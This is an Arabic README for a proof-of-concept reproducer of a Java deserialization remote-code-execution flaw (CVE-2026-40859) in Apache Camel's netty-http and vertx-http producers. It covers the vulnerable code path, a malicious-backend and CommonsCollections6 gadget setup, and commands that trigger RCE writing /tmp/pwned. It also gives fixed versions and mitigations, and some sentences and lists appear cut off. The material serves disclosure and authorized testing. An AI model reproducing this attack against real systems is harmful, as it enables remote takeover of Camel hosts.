
أداة إعادة إنتاج لثغرة CVE-2026-40859 — إلغاء تسلسل غير آمن لأجسام استجابات HTTP من جانب المُنتِج في Apache Camel camel-netty-http / camel-vertx-http (RCE)
يعرض هذا المشروع ثغرة إلغاء تسلسل في Java في مكوّني Apache Camel camel-netty-http
وcamel-vertx-http، ويتتبَّعها الرقم CVE-2026-40859. عندما يتم ضبط نقطة نهاية المُنتِج (producer)
على transferException=true (أو على مستوى المكوّن allowJavaSerializedObject=true)، فإن استجابة HTTP
خلفية بحالة فشل وContent-Type: application/x-java-serialized-object يُفكَّك تسلسل محتواها
باستخدام java.io.ObjectInputStream خام وبدون ObjectInputFilter. أي مهاجم يتحكم في
الخادم الخلفي الذي يتخاطب معه مُنتِج Camel — خدمة مخترقة، أو رجل في المنتصف على
اتصال HTTP عادي — يمكنه إرجاع كائن مُسلسَل مُصمَّم، وإذا وُجدت سلسلة أدوات (gadget chain) على
مسار الفئات (classpath)، يتحقق على مضيف Camel.
الإشعار الأمني: https://camel.apache.org/security/CVE-2026-40859.html
| الخاصية | القيمة |
|---|---|
| المكوّنات | camel-netty-http, camel-vertx-http (جانب المُنتِج) |
| الفئة المتأثرة | org.apache.camel.component.netty.http.NettyHttpHelper#deserializeJavaObjectFromStream (وVertxHttpHelper#deserializeJavaObjectFromStream) |
| CWE | CWE-502: إلغاء تسلسل بيانات غير موثوقة |
| الأثر | تنفيذ تعليمات برمجية عن بُعد (RCE) |
| الشرط المسبق | transferException=true (أو allowJavaSerializedObject=true) + throwExceptionOnFailure=true (افتراضي) + خادم خلفي يتحكم به المهاجم |
| الإصدارات المتأثرة | من 4.0.0 قبل 4.14.8، من 4.15.0 قبل 4.18.3، من 4.19.0 قبل 4.20.0 |
| الإصدارات المُصحَّحة | 4.14.8, 4.18.3, 4.20.0 |
| JIRA | CAMEL-23324 |
| المُبلِّغ | Venkatraman Kumar (Securin) |
غير قابلة للاستغلال في الإعداد الافتراضي — القيمة الافتراضية لـ
transferExceptionهيfalse. هذا الـPoC يفعّلها، تمامًا كما يفعل أي تطبيق يريد نقل الاستثناءات عن بُعد.
عند استجابة غير 2xx، يبني مُنتِج netty-http (مع throwExceptionOnFailure=true، القيمة الافتراضية)
استثناءً من الاستجابة عبر populateNettyHttpOperationFailedException. إذا كان transferException مفعّلًا
وحملت الاستجابة نوع محتوى الكائن المُسلسَل، فإنه يُفكّك تسلسل المحتوى:
// NettyHttpHelper.populateNettyHttpOperationFailedException(...) - affected version
if (transferException) {
String contentType = response.headers().get(NettyHttpConstants.CONTENT_TYPE);
if (NettyHttpConstants.CONTENT_TYPE_JAVA_SERIALIZED_OBJECT.equals(contentType)) { // application/x-java-serialized-object
InputStream is = exchange.getContext().getTypeConverter().convertTo(InputStream.class, response);
if (is != null) {
Object body = deserializeJavaObjectFromStream(is); // <-- sink
if (body instanceof Exception) {
return (Exception) body;
}
}
}
}
// NettyHttpHelper.deserializeJavaObjectFromStream(InputStream) - affected version
ObjectInputStream ois = new ObjectInputStream(is); // NO ObjectInputFilter
answer = ois.readObject(); // gadget fires here
يتم تنفيذ الأداة (gadget) داخل readObject()، قبل فحص instanceof Exception — لذلك لا يلزم
حتى أن تكون الحمولة (payload) استثناءً. يمتلك camel-vertx-http نفس نقطة الاغتراف (sink)
في VertxHttpHelper.deserializeJavaObjectFromStream.
from("direct:call")
.to("netty-http://backend-host:PORT/path?transferException=true");
// throwExceptionOnFailure defaults to true
أي استدعاء مُنتِج يرد عليه الخادم الخلفي بـ5xx + application/x-java-serialized-object يُفعِّل نقطة الاغتراف.
الضحية هو مُنتِج Camel (هو من ينفّذ إلغاء التسلسل). المهاجم يتحكم في الخادم الخلفي
الذي يستدعيه. في هذا الـPoC المستقل، يعمل الدوران في نفس JVM/الحاوية: خادم HTTP مدمج
بمقابس أولية (raw socket) (MaliciousBackend) يؤدي دور الخادم الخلفي الذي يتحكم
به المهاجم، ومسار Camel (VictimRoute) هو الضحية.
CVE-2026-40859/
├── pom.xml # camel-netty-http 4.18.2 + commons-collections 3.2.1 (gadget)
├── Dockerfile # runs the app (with --add-opens, needed only to build the gadget)
├── docker-compose.yml
├── README.md
└── src/main/
├── java/com/example/
│ ├── Application.java
│ ├── VictimRoute.java # victim: netty-http producer, transferException=true
│ ├── MaliciousBackend.java # attacker backend: 500 + serialized-object body on :9999
│ ├── Gadget.java # CommonsCollections6 gadget, fires during readObject()
│ └── ExploitController.java # /exploit/attack drives the producer call
└── resources/
└── application.properties
في هجوم حقيقي، تُنتَج البايتات المُسلسَلة خارج الخط (offline) بواسطة المهاجم (مثلًا باستخدام ysoserial)؛ الضحية فقط هي التي تحتاج سلسلة الأدوات على مسار الفئات لديها. يبني هذا الـPoC الأداة داخل العملية للراحة، ولهذا يُشغَّل JVM مع
--add-opens java.base/java.util=ALL-UNNAMED— هذه العلامة تفصيل خاص ببناء الأداة، ولا علاقة لها بالثغرة.
mvn clean package -DskipTests
docker compose up -d --build
curl -s http://localhost:8080/exploit/attack
# -> producer threw ...NettyHttpOperationFailedException (expected)
#
# >>> RCE proof — /tmp/pwned exists: true
docker exec cve-2026-40859 ls -la /tmp/pwned
docker compose down
أي مُنتِج camel-netty-http / camel-vertx-http مضبوط على transferException=true (أو
allowJavaSerializedObject=true) ويتخاطب مع خادم خلفي يمكن للمهاجم التحكم به أو اعتراضه:
http://) يستبدل الاستجابة.transferException=true (أو allowJavaSerializedObject=true على مستوى المكوّن).throwExceptionOnFailure=true (القيمة الافتراضية).5xx + application/x-java-serialized-object.commons-collections:3.2.1).قم بالترقية إلى 4.14.8 / 4.18.3 / 4.20.0. يقيّد الإصلاح كلا المساعدَين بقائمة سماح افتراضية
من ObjectInputFilter (java.**;javax.**;org.apache.camel.**;!*)، ويمكن تخصيصها عبر
خيار نقطة النهاية الجديد deserializationFilter أو خاصية النظام العامة على مستوى JVM
-Djdk.serialFilter.
إلى حين الترقية:
transferException=true / allowJavaSerializedObject=true على المُنتِجات التي تتخاطب
مع خوادم خلفية غير موثوقة أو قابلة للوصول عبر الشبكة.https) لاتصالات المُنتِج بحيث لا يمكن استبدال الاستجابات أثناء النقل.-Djdk.serialFilter=java.**;org.apache.camel.**;!*.مُقدَّم معيد الإنتاج هذا لأغراض البحث الأمني والاختبار المصرَّح به فقط، لثغرة مُعلَنة علنًا ومُصحَّحة. لا تستخدمه ضد أنظمة دون إذن صريح.